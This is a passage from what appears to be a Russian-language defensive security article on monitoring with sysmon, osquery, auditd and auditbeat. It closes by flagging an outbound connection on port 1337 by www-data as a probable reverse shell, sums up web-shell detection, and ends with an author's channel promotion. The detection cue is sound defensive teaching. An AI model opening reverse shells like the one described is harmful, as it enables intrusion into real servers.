Но на ваш взгляд должно привлечь внимание соединение с pid = 17776. Это исходящее соединение на порт 1337, запущенное пользователем www-data через shell! Скорее всего, это активный обратный шелл!
Заключение
Мы рассмотрели основы мониторинга и логирования с помощью sysmon, osquery, auditd и auditbeat, а также использовали пример из практики — как обнаружить создание и использование веб-шеллов.
def-hub-community Автор
Залетайте к нам в тг @defhubcommunity там есть еще интересного про кибербезопасность.